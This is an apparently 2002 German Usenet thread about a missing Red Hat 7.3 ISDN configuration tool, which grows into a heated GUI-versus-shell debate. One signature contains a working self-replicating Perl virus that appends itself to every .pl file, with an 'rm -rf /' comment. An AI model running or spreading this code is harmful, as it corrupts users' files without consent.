aber jetzt habe ich das ganze auf einem laptop installiert
und da finde ich das programm internet-druid nicht
beim ersten PC ist indernet-druid ein link auf consolehelper
aber es ist nicht intalliert
auch auf den CD's finde ich es nirgends
kann mir jemand sagen, wie ich das programm starten und installieren
kann??
danke
markus
Servus Markus!
> ich hab auf einen pc RH 7.3 installiert
> und den ISDN zugang mit internet-druid konfiguiert
> funzt wunderbar.
>
> aber jetzt habe ich das ganze auf einem laptop installiert und da
> finde ich das programm internet-druid nicht
GUIs sind für Weicheier.
$ isdnctrl dial ippp0
$ isdnctrl hangup ippp0
und man isdnctrl für den Rest (autodial, ...). Die ganzen GUI-Tools
greifen schlussendlich auch nur auf isdnctrl zu.
Gerhard
--
Linux lilith 2.4.18-xfs #1 SMP Tue Apr 2 15:52:12 CEST 2002 i686 unknown
gargamel.hqd-internal FreeBSD 4.6-STABLE #0: Mon Jun 17 00:00:53 CEST 2002
Außentemperatur in München: 27.5 °C Wind: 1.2 m/s
> aber jetzt habe ich das ganze auf einem laptop installiert
> und da finde ich das programm internet-druid nicht
> kann mir jemand sagen, wie ich das programm starten und installieren
> kann??
Hab zuletzt mal ein wenig in die 7.3er reingeschaut, AFAIR tauchte
"internet-druid" erst auf nachdem ich Gnome mitinstalliert hab.
Gruss
Bernd
redhat-config-network
Achim
> Markus Jais schrieb in de.comp.os.unix.linux.misc:
>> hi
>
> Servus Markus!
>
>> ich hab auf einen pc RH 7.3 installiert
>> und den ISDN zugang mit internet-druid konfiguiert
>> funzt wunderbar.
>>
>> aber jetzt habe ich das ganze auf einem laptop installiert und da
>> finde ich das programm internet-druid nicht
>
> GUIs sind für Weicheier.
die zeiten sind vorbei :-)
>
> $ isdnctrl dial ippp0
> $ isdnctrl hangup ippp0
>
es geht nicht um einwählen. das mach ich auch per alias
auf isdnctrl
sondern ums konfigurieren
> GUIs sind für Weicheier.
>
Hallo Gerhard,
das sind genau die Bemerkungen, warum manch einer diese NG samt Linux wieder
zuklappt. GUI ist das Erfolgsrezept von Windows. Linux hat dagegen den ganz
großen Vorteil, daß man hinter die Kulisse der GUI schauen kann. Da gibt es
viele Linux Programmierer, die sich sehr viel Mühe mit der GUI machen und
ganz hervorragende Ergebnisse vorweisen können. Willst Du diese auch als
Weicheier bezeichnen? Vor vielen Jahren hatte ich mich mal intensiv mit
Linux befaßt. Irgend wann wurde mir das Ganze dann zu zeitintensiv und ich
bin wieder zu Win zurückgekehrt. Nun muß ich feststellen, daß sich gerade
bezüglich der GUI gewaltiges getan hat und an manchen Stellen sogar Win
überlegen ist. Deshalb schnuppere ich hier wieder hinein, möchte mich aber
von Dir nicht als Weichei bezeichnen lassen!
>> GUIs sind für Weicheier.
>>
> GUI ist das Erfolgsrezept von Windows.
Das Erfolgskonzept von Windows ist eine gelunge Mischung aus Marketing,
Korruption, Kartellmißbrauch und der erfolgreichen Spekulation auf das
Naturgesetz, daß Scheiße oben schwimmt.
> Deshalb schnuppere ich hier wieder hinein, möchte mich aber von Dir
> nicht als Weichei bezeichnen lassen!
GUI: Girls Use It. [fup2 de.alt.0d]
Kuerzen.
>> GUIs sind für Weicheier.
>
> das sind genau die Bemerkungen, warum manch einer diese NG samt Linux wieder
> zuklappt.
Gut so.
> GUI ist das Erfolgsrezept von Windows.
Aha?
> Deshalb schnuppere ich hier wieder hinein, möchte mich aber von Dir
> nicht als Weichei bezeichnen lassen!
[X] de.comp.os.unix.linux.kindergarten now!
> [X] de.comp.os.unix.linux.kindergarten now!
Pleonasmus und Tautologie in einem Atemzug. Wow.
Tautologie
Stilistik
eine rhetorische Figur, in der bedeutungsgleiche Wörter aufgezählt werden
("immer und ewig" oder "nackt und bloss"); zu unterscheiden vom
Pleonasmus, bei dem ein Begriff mit einem Attribut versehen wird, das
selbstverstaendlich ist und daher auch keine neue Aussage macht ("weisser
Schimmel").
(Quelle: http://www.wissen.de )
Sehe ich nicht. Hilf mir aus dem Dunkel...
Sorry, nicht gerade topic. Aber wenigstens lerne ich noch was dazu...
gruss
wolle
--
Der Mensch wird als Genie geboren und stirbt als Idiot. (Charles Bukowski)
GUI zu einem Zeitpunkt, wo die einzige Konkurrenz (Apple) für Normal-
sterbliche nicht zu bezahlen war.
Jetzt die (relativ zwanglose) Verbreitung und die leidige "das hat eh
ein jeder" Einstellung.
Bernd
--
Bernd Petrovitsch Email : be...@petrovitsch.at
LUGA : http://www.luga.at
Armin Lang <arm...@t-online.de> wrote:
> "Gerhard Häring" <gerhard...@gmx.de> schrieb:
>> GUIs sind für Weicheier.
> das sind genau die Bemerkungen, warum manch einer diese NG samt Linux wieder
> zuklappt.
Wenn jemand das aufgrund einer solchen Bemerkung tut, kann man nur sagen
"selber schuld!". Wer sich von so etwas abschrecken laesst, waere vermutlich
ohnehin bald abgesprungen, also warum sollte ich ihn bedauern?
> GUI ist das Erfolgsrezept von Windows.
Es ist der Teil, der Windows eigentlich fast unbrauchbar macht, weil das
GUI das System soweit verdeckt, dass man nichts mehr ohne GUI tun kann
und nebenbei das GUI so inkonsistent ist, dass man es aus diesem Grund
nicht verwenden moechte (ausser man hat sich jahrelang an diesen Mist
gewoehnt).
> Linux hat dagegen den ganz großen Vorteil, daß man hinter die Kulisse
> der GUI schauen kann.
Linux hat den grossen Vorteil, dass man kein GUI benoetigt, denn in
vielen Faellen ist es schlicht ueberfluessig, in einigen Faellen sogar
hinderlich ....
> Da gibt es viele Linux Programmierer, die sich sehr viel Mühe mit der
> GUI machen und ganz hervorragende Ergebnisse vorweisen können.
... und es gibt (nicht nur, aber auch unter Linux) eine Vielzahl an
GUIs, deren Erstellung sicherlich eine Menge Muehe gemacht hat, deren
Ausgfuehrung aber aus ergonomischer sicht mit "Katastrophe" noch
beschoenigend umschrieben ist. Ich wuerde das Windows-GUI zu dieser
Gruppe zaehlen.
> Willst Du diese auch als Weicheier bezeichnen?
Manche vielleicht ...
> Vor vielen Jahren hatte ich mich mal intensiv mit Linux befaßt.
Ach?
> Irgend wann wurde mir das Ganze dann zu zeitintensiv und ich bin wieder
> zu Win zurückgekehrt.
Ich wuerde vermuten, dass diene Beschaeftigung mit Linux dann nicht
SOOO intensiv gewesen sein wird ...
> Nun muß ich feststellen, daß sich gerade bezüglich der GUI gewaltiges
> getan hat und an manchen Stellen sogar Win überlegen ist.
Fast jedes GUI-Design ist Windows ueberlegen (und wenn manchem das
anders vorkommt, liegt es meistens daran, dass dieser jemand seit Jahren
an das Zeug gewoehnt ist, so dass ihm die unlogischen und widerspruech-
lichen Dinge in diesem GUI gar nicht mehr auffallen ...).
> Deshalb schnuppere ich hier wieder hinein, möchte mich aber
> von Dir nicht als Weichei bezeichnen lassen!
Fuer einen "nur-Benutzer" ist ein GUI ein "nice-to-have", fuer einen
Administrator ist es groesstenteils (wenn nicht sogar immer) ueber-
fluessig. Wenn du dir zu Haus Linux auf den Rechner nagelst, bist
du nicht "nur-Benutzer" sondern auch Administrator. Wenn du glaubst,
unbedingt auf ein GUI angewiesen zu sein, bist du moeglicherweise mit
Linux ueberfordert und solltest dir vielleicht eine alternative suchen ...
Tschuess,
Juergen Ilse (il...@usenet-verwaltung.org)
--
Das Netz ist Freude. Es ist Ekstase, die jeden einzelnen Nerv erglühen
läßt. Es ist Duft, den man fühlt. Es ist ein Bild, das man riecht.
Es ist Erfüllung - ein Geschmack, neben dem alles andere schal ist.
("Netzreiter-Preisung" aus dem Buch "Der Netzparasit" von Andreas Brandhorst)
>Hallo,
>
>Armin Lang <arm...@t-online.de> wrote:
>
>>"Gerhard Häring" <gerhard...@gmx.de> schrieb:
>>
>>>GUIs sind für Weicheier.
>>>
>>das sind genau die Bemerkungen, warum manch einer diese NG samt Linux wieder
>>zuklappt.
>>
>
>Wenn jemand das aufgrund einer solchen Bemerkung tut, kann man nur sagen
>"selber schuld!". Wer sich von so etwas abschrecken laesst, waere vermutlich
>ohnehin bald abgesprungen, also warum sollte ich ihn bedauern?
>
Weil es einfach unhöflich war?
>>GUI ist das Erfolgsrezept von Windows.
>>
>
>Es ist der Teil, der Windows eigentlich fast unbrauchbar macht, weil das
>GUI das System soweit verdeckt, dass man nichts mehr ohne GUI tun kann
>und nebenbei das GUI so inkonsistent ist, dass man es aus diesem Grund
>nicht verwenden moechte (ausser man hat sich jahrelang an diesen Mist
>gewoehnt).
>
Willkommen im neuen Millenium. Die 80er sind längst vorbei.
Pete
p.s.: Hast Du Deine Umlaute verloren?
> GUI zu einem Zeitpunkt, wo die einzige Konkurrenz (Apple) für Normal-
> sterbliche nicht zu bezahlen war.
Schon mal von Geos gehört? Grafische Benutzeroberfläche, kam ein bißchen vor
Windows heraus, war relativ günstig und sah hübsch aus.
mfg
Eugen
Peter Franzen <pe...@xxl.de> wrote:
> Juergen Ilse wrote:
>>Armin Lang <arm...@t-online.de> wrote:
>>>"Gerhard Häring" <gerhard...@gmx.de> schrieb:
>>>>GUIs sind für Weicheier.
>>>das sind genau die Bemerkungen, warum manch einer diese NG samt Linux wieder
>>>zuklappt.
>>Wenn jemand das aufgrund einer solchen Bemerkung tut, kann man nur sagen
>>"selber schuld!". Wer sich von so etwas abschrecken laesst, waere vermutlich
>>ohnehin bald abgesprungen, also warum sollte ich ihn bedauern?
> Weil es einfach unhöflich war?
Ob da vielleicht jemand ueberempfindlich sein koennte?
>>>GUI ist das Erfolgsrezept von Windows.
>>Es ist der Teil, der Windows eigentlich fast unbrauchbar macht, weil das
>>GUI das System soweit verdeckt, dass man nichts mehr ohne GUI tun kann
>>und nebenbei das GUI so inkonsistent ist, dass man es aus diesem Grund
>>nicht verwenden moechte (ausser man hat sich jahrelang an diesen Mist
>>gewoehnt).
> Willkommen im neuen Millenium. Die 80er sind längst vorbei.
Was soll an einem GUI intuitiv sein, bei dem man auf "Start" klicken
muss um die Session zu beenden? Was soll an einem GUI intuitiv sein,
bei dem auch eingefleischte User nicht immer von vornherein (*bevor*
sie ein Icon verschieben) sagen kann, ob nun eine Verknuepfung, oder
eine Kopie angelegt oder vielleicht nur eine Datei verschoben wird?
Es gibt noch Dutzende von Beispielen, wo das GUI von Windows einfach
nur unlogisch und (bei genauer Betrachtung) *grottenschlecht* ist.
Es gibt durchaus bessere GUIs, aber auch die wuerde ich fuer mich
persoenlich nicht fuer notwendig halten. An der eigentlich absolut
miessen Umsetzung des Windows-GUI aendert das natuerlich nichts ...
> p.s.: Hast Du Deine Umlaute verloren?
"Robustheits-Prinzip": Sei konservativ bei dem was du sendest,
und ASCII (ohne Erweiterungen) ist wirklich auf jedem Terminal
lesbar, ueberall darstellbar und daher *meine* bevorzugte Codierung.
Ein vt100-Terminal kann Umlaute weder darstellen, noch kann man sie
auf einem solchen Terminal problemlos eingeben (und ja, ich habe
zu Hause noch ein solches Exemplar, auch wenn ich das nicht vorwie-
gend nutze ...).
Armin
Ich bin zwar nicht Juergen, gebe aber trotzdem meinen Senf dazu.
> ich weiß, daß Du ein ausgesprochener Computerfachmann bist, wie
> übrigens viele Linuxer und sicher brauchst Du kein GUI.
Ich brauche keine GUI, aber ich will eine. Ich bin naemlich faul. Und
damit auch ein Weichei. Ich kann damit leben, von Gnus- oder slrn-Usern
mitleidig belaechelt zu werden, weil ich KNode benutze.
> Aber warum
> müßt Ihr immer den Linux Neu-oder Wiedereinsteigern (wie ich) zeigen,
> was Ihr für Kerle seid.
Bullshit.
Du weisst, dass hier dcou.linux.misc ist, und nicht
dcou.apps.(kde|gnome)? Hier geht's um das Betriebssystem, und nicht
darum, welche Knoepfe man in einer GUI druecken kann.
> Ich denke, damit erweist Ihr der doch an sich
> guten Sache keinen Dienst. Setze einmal einen technisch weniger
> versierten vor einen Windows PC und Du wirst sehen, daß er ohne große
> Anleitung gar nicht schlecht zurecht kommt.
Du meinst die Leute, die nach drei Jahren PC der Meinung sind, ihr
Betriebssystem heisse "Word"? Nein, ich glaube nicht, dass die gut mit
dem Betriebssystem zurecht kommen. Vielleicht mit Word. Teilweise.
> Also so *grottenschlecht*
> wie Du schreibst kann es doch gar nicht sein.
Es vielleicht einigermassen leicht, damit Briefe zu schreiben. Das
heisst nicht, dass das Betriebssystem gut ist.
> Umgekehrt stelle ich
> einfach fest, daß Linux durch das neue KDE3 für viele interessant
> werden könnte, denen dieses BS wegen der kryptischen Eingaben und dem
> detaillierten Fachwissen bis jetzt verborgen blieb.
Und trotz aller Aufklaerungsversuche halten die dann KDE fuer ein
Betriebssystem. Oder zumindest verantwortlich fuer die
Bildschirmaufloesung. Ich bin entzueckt.
Wer einen PC nur bedienen moechte - ob unter Windows oder Linux - hat
Fragen, die in de.comp.office-pakete.* oder vielleicht dcou.apps.*
passen. Wer hier fragt, administriert einen Linux-Rechner, ob er/sie
will oder nicht. Und dann sollte man sich auch(!) auf der Kommandozeile
etwas auskennen.
Ciao,
Harald
F'up2poster gesetzt.
--
Harald H.-J. Bongartz <bon...@gmx.net>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
People don't need faster computers. They just need to learn patience.
It's much cheaper, and it works for things besides computers.
-- Travis C. Hayes
Wenn Du meinst.
>
> $ isdnctrl dial ippp0
> $ isdnctrl hangup ippp0
>
> und man isdnctrl für den Rest (autodial, ...). Die ganzen GUI-Tools
> greifen schlussendlich auch nur auf isdnctrl zu.
Ich war mit conf-isdn-account (http://www.manna.nl/tipstekst.html) bislang
immer am schnellsten am Ziel. Das geht wenigstens ohne X und man bekommt
ISDN auch ans laufen, ohne elend lange man pages zu lesen.
Gruss
Lars
Armin Lang <arm...@t-online.de> wrote:
[ sprach zu mir ]
> ich weiß, daß Du ein ausgesprochener Computerfachmann bist, wie übrigens
> viele Linuxer und sicher brauchst Du kein GUI. Aber warum müßt Ihr immer den
> Linux Neu-oder Wiedereinsteigern (wie ich) zeigen, was Ihr für Kerle seid.
Das ist weder meine Absicht, noch (wie ich vermute) die Absicht der anderen
dcoulm-Regulars. Wenn jemand wirklich an Linux interessiert ist und Probleme
mit der Einarbeitung in dieses (zugegebenermassen ziemlich komplexe) System
hat, bin ich gern bereit, demjenigen weiter zu helfen. Wenn der jenige aber
nicht die Bereitschaft aufbringt, sich in das System einzuarbeiten (so, dass
er es auch ohne GUI administrieren kann), sollte er IMHO auf die Administra-
tion eines solchen Systems verzichten (weil er mit der vernueftigen Adminis-
tration ueberfordert waere).
> Ich denke, damit erweist Ihr der doch an sich guten Sache keinen Dienst.
Ich will keiner Sache einen Dienst erweisen (welcher auch immer) sondern
hier Erfahrungen ueber das Betriebssystem Linux austauschen (und mich
dabei halbwegs gut unterhalten). Ich denke, dass es anderen genauso geht.
Die Verbreitung von Linux "um jeden Preis" ist auch nichts, was ich un-
eingeschraenkt fuer eine gute sache halten wuerde. Die Administration
eines "unixoiden" Betriebssystems kostet einiges an Aufwand. Wer diesen
Aufwand nicht treiben will (und niemanden hat, der ihm diesen Aufwand
abnimmt), sollte IMHO kein solches System verwenden.
> Setze einmal einen technisch weniger versierten vor einen Windows PC und Du
> wirst sehen, daß er ohne große Anleitung gar nicht schlecht zurecht kommt.
Im Betrieb meines Bruders haben mir mein Bruder und mein Vater
bestaetigt, dass ihnen die Arbeit mit MacOS (die Ersatzteil- und
Reparaturanleitungoftware laeuft auf einem Mac) leichter fiel, als die
Arbeit mit Windows95 (darauf laeuft ein Programm zur Kalkulation von
Neuwagen-Finanzierungen und Leasing-Vertraegen). Sogar das Programm
fuer die Werkstatt (Rechnungserstellung, Kostenvoranschlaege, ...)
erschien ihnen nach einer entsprechenden Einweisung leichter bedien-
bar als Windows95 (und das Programm laeuft voellig ohne Mausbedienung
und ohne Grafik unter DOS).
> Also so *grottenschlecht* wie Du schreibst kann es doch gar nicht sein.
Anscheinend sind fuer einen wirklichen Neuling fast alle GUIs besser als
Windows95 (MacOS, MacOS X, NeXTStep, OS/2, ...). Was soll daran also gut
sein? Die weite Verbreitung?
> Umgekehrt stelle ich einfach fest, daß Linux durch das neue KDE3 für viele
> interessant werden könnte, denen dieses BS wegen der kryptischen Eingaben
> und dem detaillierten Fachwissen bis jetzt verborgen blieb.
Wenn das jemandem so geht, sollte er IMHO die Finger von Linux lassen
oder jemanden mit der Administration beauftragen, der etwas mehr davon
versteht.
Die Siebziger übrigens auch. Deine Reaktion ist absolut typisch, ich
hatte die in genau dieser Form vor knapp zehn Jahren, bezogen auf Win3
und 'irgendein Unix' (vermutlich auf Sun3) auch mal. Dir fehlen
offensichtlich praktische Erfahrungen mit irgendetwas anderem als den
letzten drei Win-GUIs. Auf welcher Basis möchtest Du hier Urteile
treffen?
>> Ob da vielleicht jemand ueberempfindlich sein koennte?
> ich weiß, daß Du ein ausgesprochener Computerfachmann bist, wie
> übrigens viele Linuxer und sicher brauchst Du kein GUI. Aber warum müßt
> Ihr immer den Linux Neu-oder Wiedereinsteigern (wie ich) zeigen, was
> Ihr für Kerle seid. Ich denke, damit erweist Ihr der doch an sich
> guten Sache keinen Dienst.
Wer mit undifferenzierten Bemerkungen nicht leben kann, der sollte das
Usenet meiden. Ebenso wie den Rest der bewohnten Welt.
Der Hauptnachteil von redhat-config-network (dependencies) wurde bereits
erwähnt.
> Setze einmal einen technisch weniger versierten vor einen Windows PC
> und Du wirst sehen, daß er ohne große Anleitung gar nicht schlecht
> zurecht kommt.
Slrn, Gnus, vim oder TeX sind keine Schwanzverlängerungen, sie sind in
ihrem Einsatzbereich schlicht und ergreifend sehr praktisch, d.h.
faulheitskompatibel. Versuch und Irrtum mag anfangs seinen Reiz haben,
aber es kommt der Punkt, ab dem man das gesuchte Feature eh leichter
in der Doku findet als in irgendeinem Untermenü. BTW ist der Vergleich
GUI-textorientiert häufig zu kurz gegriffen (z.B. slrn & slrnpull vs.
Knode & (x)inetd/tcpserver & leafnode/noffle).
Achim
> Die Administration eines "unixoiden" Betriebssystems kostet einiges an
> Aufwand. Wer diesen Aufwand nicht treiben will (und niemanden hat, der
> ihm diesen Aufwand abnimmt), sollte IMHO kein solches System verwenden.
Gilt sinngemäß auch für Windows.
Achim
Es ist sehr unfair, anderen Leuten vorzuwerfen, das Du davon
beeindruckt bist, das sie Dinge wissen, die Du nicht weißt, sehr
albern, Leuten, die einem zu helfen versuchen, zu unterstellen, das
sie lediglich Eindruck schinden wollten und sehr egozentrisch, davon
auszugehen, das jedem ausgerechnet etwas daran gelegen ist, sich bei
Dir in ein günstiges Licht zu setzen. Wer bist Du denn bitte, aus der
erspektive von jemandem gesehen , der Dich weder persönlich kennt noch
vermutlich jemals persönlich kennenlernen wird oder gar möchte, außer
einem Satz von gebräuchlichen Vorurteilen und abwertenden Sprüchen?
Bestes Beispiel: meine Schwester hat heute noch nicht das System
gesehen, wann Windows beim Verschieben eine Kopie anlegt, die Datei
verschiebt oder eine Verknüpfung anlegt. Ich zähle zu denen, die, wenn
sowas sein muss, einfach so lange mit Shift und Ctrl rumprobieren, bis
das richtige Symbol am Mauszeiger erscheint - meiner Schwester habe ich
dann aber doch besser gleich empfohlen, immer mit der rechten Maustaste
zu verschieben, damit wenigstens immer das Richtige passiert.
> > Nun muß ich feststellen, daß sich gerade bezüglich der GUI gewaltiges
> > getan hat und an manchen Stellen sogar Win überlegen ist.
>
> Fast jedes GUI-Design ist Windows ueberlegen (und wenn manchem das
> anders vorkommt, liegt es meistens daran, dass dieser jemand seit Jahren
> an das Zeug gewoehnt ist, so dass ihm die unlogischen und widerspruech-
> lichen Dinge in diesem GUI gar nicht mehr auffallen ...).
Selbst das vom Macintosh, das für das Windows-GUI als Vorlage herhalten
musste.
Ich kenne genau ein GUI, das noch schlechter ist als das von Windows.
Das ist der olwm auf Solaris-Kisten (und natürlich dessen Kopie olvwm).
Wenn man noch nicht einmal Fenster auf Bildschirmgröße maximieren kann,
fehlt irgendwie was. Aber dieses Problem kann man durch Ersetzen des
Windowmanagers schnell und leicht beseitigen - was unter Windows leider
nicht ohne Weiteres möglich ist.
Wenn Windows X11 verwenden würde, würde ich vielleicht sogar lieber
damit arbeiten (nach Auswechseln des Windowmanagers natürlich) - aber
eine unfähige Kommandozeile und ein unlogisches GUI zwingt einen gerade
dazu, cygwin zu installieren oder Windows vom Rechner zu werfen.
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
Armin
> Wieso kommen Leute immer wieder auf die Idee, Linux will ein besseres
> Windows(tm) sein, oder Linux wolle Windows vom OS-Markt verdrängen?
Es dürfte schwierig werden, die Zielvorstellungen aller Leute zu
ermitteln, die in irgendeiner Form an Projekten wie Linux, GNU oder KDE
mitarbeiten.
Achim
Hast vollkommen recht. Die gleiche Diskussion gab es zuletzt, als win95
aufkam und die Leute weiter in ihrer DOS-Shell bzw. Dingern wie Norton
Commander o.ä. hängen geblieben sind.
Was mir das Recht gibt? Die 20 jährige Erfahrung mit PC's und
Vorläufern. Als 1984 der Mac kam, war mir vollkommen klar, dass das die
Zukunft sein wird, da es einfach intuitiver war. Auch damals gab es
Leute, die sich über Jahre hinweg weigerten, eine Maus anzufassen. Die
meisten haben aber irgendwann eingesehen, dass sie eine Menge Geld
sparen können, wenn sie ihre Leute nur noch halb so lange zu Schulungen
schicken mußten.
Ob MacOS, Windows oder KDE/Gnome: Die Grundidee ist stets dieselbe.
Puristen können jetzt kommen und sagen, dass Windows und KDE oder Gnome
nur Shell Überstülper sind, während der Mac von vorn herein so
konzipiert ist. Ist aber im Grunde egal.
Ob Ihr wollte oder nicht: Auch Linux wird mittelfristig primär über ein
GUI zu steueren sein. Schaut Euch mal die letzten Entwicklungen an: SUSE
8.0, xandros.com etc.
Man kann für sich selbst festhalten, dass man kein GUI möchte, aber der
Trend dahin läßt sich nicht aufhalten. Daher ist der Anspruch nach einer
vollen Administration nicht Blödsinn, sondern legitim und langsam auch
überfällig.
Pete
p.s.: Wer auf Umlaute wegen Terminals aus den 80ern verzichtet, ist
übrigens auch nicht zeitgemäß ;-)
>Wer mit undifferenzierten Bemerkungen nicht leben kann, der sollte das
>Usenet meiden. Ebenso wie den Rest der bewohnten Welt.
>
Junge, bleib höflich. Das ist einfach eine Nummer zu hart.
Pete
Deine Phantasie geht mit Dir durch.
Achim
Peter Franzen <pe...@xxl.de> wrote:
> Hast vollkommen recht. Die gleiche Diskussion gab es zuletzt, als win95
> aufkam und die Leute weiter in ihrer DOS-Shell bzw. Dingern wie Norton
> Commander o.ä. hängen geblieben sind.
Wenn das bei einigen der Fall war, dann oft deshalb, weil die effektiver
damit umgehen konnten als mit Maus und einem GUI, das die meisten Rechner
hart an die Grenzen trieb (weil das GUI zuviel Rechenleistung benoetigte).
> Was mir das Recht gibt? Die 20 jährige Erfahrung mit PC's und Vorläufern.
> Als 1984 der Mac kam, war mir vollkommen klar, dass das die Zukunft sein
> wird, da es einfach intuitiver war.
Das damalige System war selbst gegenueber dem ProDOS fuer den Apple II ein
Rueckschritt, aber Aplle hat ziemlich schnell nachgebessert ...
> Auch damals gab es Leute, die sich über Jahre hinweg weigerten, eine
> Maus anzufassen. Die meisten haben aber irgendwann eingesehen, dass sie
> eine Menge Geld sparen können, wenn sie ihre Leute nur noch halb so lange
> zu Schulungen schicken mußten.
Kommen wir mal wieder zu einem konkreten Beispiel:
Das Programm zur Werkstattverwaltung, dass ich hier in dem Thread schon
mal erwaehnte, kostete meinen Vater und meinen Bruder einen Tag Einweisung,
dann beherrschten sie das Programm soweit, dass sie damit umgehen konnten.
Das Programm zur Kalkulation von Finanzierung und Leasing (zur Erinnerung:
laeuft unter Windows98) wurde ihnen ebenfalls in einer eintaegigen Schulung
beigebracht (und dieses Programm ist eigentlich erheblich weniger komplex
als das Werkstattprogramm). Was glaubst du, bei der Bedienung welches Pro-
gramms die beiden sicherer sind (und weniger Probleme mit dem Userinterface
haben)?
> Ob MacOS, Windows oder KDE/Gnome: Die Grundidee ist stets dieselbe.
Aber unterschiedlich gut umgesetzt. Windows ist eher ein Beispiel fuer
schlechte Umsetzung.
> Ob Ihr wollte oder nicht: Auch Linux wird mittelfristig primär über ein
> GUI zu steueren sein.
Es wird nicht primaer ueber ein GUI zu *administrieren* sein, also braucht
der *Administrator* immer grundlegende Kenntnisse der Bedinung mittels shell
und *ohne* GUI. *DASS* wird sich IMHO auch nicht aendern.
> Man kann für sich selbst festhalten, dass man kein GUI möchte, aber der
> Trend dahin läßt sich nicht aufhalten. Daher ist der Anspruch nach einer
> vollen Administration nicht Blödsinn, sondern legitim und langsam auch
> überfällig.
Wer nicht das Wissen hat ein unixoides System zu administrieren, sollte
seine Finger davon lassen. Ich fordere ja auch nicht jeden Nichtschwimmer
zum Sprung in mehrere Meter tiefes Wasser auf ...
> p.s.: Wer auf Umlaute wegen Terminals aus den 80ern verzichtet, ist
> übrigens auch nicht zeitgemäß ;-)
Vielleicht ein bischen konservativ, aber nicht unbedingt falsch.
> >letzten drei Win-GUIs. Auf welcher Basis möchtest Du hier Urteile
> >treffen?
> >
>
> Hast vollkommen recht. Die gleiche Diskussion gab es zuletzt, als
> win95 aufkam und die Leute weiter in ihrer DOS-Shell bzw. Dingern wie
> Norton Commander o.ä. hängen geblieben sind.
weil ein 4Dos oder besser 4os2 eine Offenbarung gegenüber einem
Windows-Explorer sind, und auch so Teile wie das gute alte Xtree unter
DOS waren (sind) um längen besser als dieses geklicke
Ich habe damals mit 4dos und rcs so etwas gemacht, wie es heute cvs
darstellt (bis dann cvs 1.3 kam)
>
> Was mir das Recht gibt? Die 20 jährige Erfahrung mit PC's und
> Vorläufern. Als 1984 der Mac kam, war mir vollkommen klar, dass das
> die Zukunft sein wird, da es einfach intuitiver war. Auch damals gab
> es Leute, die sich über Jahre hinweg weigerten, eine Maus
> anzufassen. Die meisten haben aber irgendwann eingesehen, dass sie
> eine Menge Geld sparen können, wenn sie ihre Leute nur noch halb so
> lange zu Schulungen schicken mußten.
das würde ich so nur für Schulungen für nicht komplexe Anwendungen
stehen lassen, dafür verbraten die Leute selbst für Basis-Funktionen per
Maus so viel mehr an Zeit, da macht der eingesparte halbe Tag an
Schulung überhaupt nichts aus
[snip]
> Ob Ihr wollte oder nicht: Auch Linux wird mittelfristig primär über
> ein GUI zu steueren sein. Schaut Euch mal die letzten Entwicklungen
> an: SUSE 8.0, xandros.com etc.
für den Desktop vielleicht, aber was hat eine Gui auf einem Server zu
suchen. Da sind dann immer noch gute Kenntnisse in einer Shell und
Editoren wie vi o.ä. gefragt.
Mal abgesehen davon, daß ...
>
> Man kann für sich selbst festhalten, dass man kein GUI möchte, aber
> der Trend dahin läßt sich nicht aufhalten. Daher ist der Anspruch nach
> einer vollen Administration nicht Blödsinn, sondern legitim und
> langsam auch überfällig.
bei Admin-Gui mit der Zeit den Überblick verliert was de Teile so machen
und man im _Regelfall_ erheblich länger braucht.
Insofern ist ein Anspruch nach Administration mit einer GUI schlichtweg
Unsinn
ciao Peter
--
WWW : http://www.marbaise.de/ Uptime: 17 Days 7 Hours
Registered Linux User #62451
http://counter.li.org
> weil ein 4Dos oder besser 4os2 eine Offenbarung gegenüber einem
> Windows-Explorer sind, und auch so Teile wie das gute alte Xtree
^^^^^^^^^^^^^^^
Dem geht es übrigens bestens¹:
Bis dann,
Henrik
__________________
¹ abgesehen davon, dass der Server grad 'ne Macke hat. ;-)
--
Word Dokumente? Nein danke! -> http://www.subotnik.net/misc/doc.html
> Ob Ihr wollte oder nicht: Auch Linux wird mittelfristig primär über ein
> GUI zu steueren sein. Schaut Euch mal die letzten Entwicklungen an: SUSE
> 8.0, xandros.com etc.
Bei SuSE ließ sich eine gängige ISDN-Konfiguration schon vor Jahren ohne
großartige Kenntnisse per yast1 erzeugen. Die letzten Entwicklungen haben
bloß zu höherem Ressourcenverbrauch, mehr Farben und IMHO schlechterer
Qualität geführt. Was nicht heißen soll, daß es nicht auch besser ginge.
> Man kann für sich selbst festhalten, dass man kein GUI möchte, aber der
> Trend dahin läßt sich nicht aufhalten. Daher ist der Anspruch nach einer
> vollen Administration nicht Blödsinn, sondern legitim und langsam auch
> überfällig.
Eine Sendmail-Komplettadministration per GUI wird es nie geben, weil es
dafür keine Nachfrage gibt. Ein Tool zum Erzeugen simpler
Standardkonfigurationen (ob nun GUI oder nicht) kann durchaus nützlich
sein, aber auch da dürfte sich das Interesse in Grenzen halten, weil
Joe Average Desktopuser i.d.R. keinen lokalen SMTP-Server braucht.
Achim
Dazu noch eine kleine Ergaenzung: Bei AIX gab es schon bei den 3.x
Versionen so ein "Admin-GUI" (nannte sich IIRC xsmit). Mir ist eigent-
lich kein einziger AIX-Admin bekannt, der das Ding zu etwas anderes
als zur Unterhaltung/Belustigung der "Neuadmins" verwendet haette
(wenn man mit dem Ding eine Operation ausfuehrt, laeuft am oberen
Fentserrand ein kleines Maennchen entlang, bei erfolgreicher Ausfuehrung
steht es hinterher mit Stolz geschwellter Brust an der anderen Seite des
Fensters, bei nicht erfolgreicher Ausfuehrung, faellt es in vollem Lauf
auf die Nase, was eben sehr unterhaltend ist und mittels Aufruf von
xsmit ohne root-Rechte provoziert werden kann ...).
Selbst die "Text-only" Variante ohne Mausunterstuetzung wurde (als ich
zuletzt mit AIX zu tun hatte) hauptsaechlich eingesetzt, um sich die
notwendigen Kommandos fuer eine bestimmte aktion anzeigen zu lassen
(und daraufhin dann in den entsprechenden man-pages zu blaettern, um
sich die Informationen zu holen, wie man nun am besten den Kram aus der
shell heraus ausfuehrt) ...
> Insofern ist ein Anspruch nach Administration mit einer GUI schlichtweg
> Unsinn
Wuerde ich aehnlich sehen.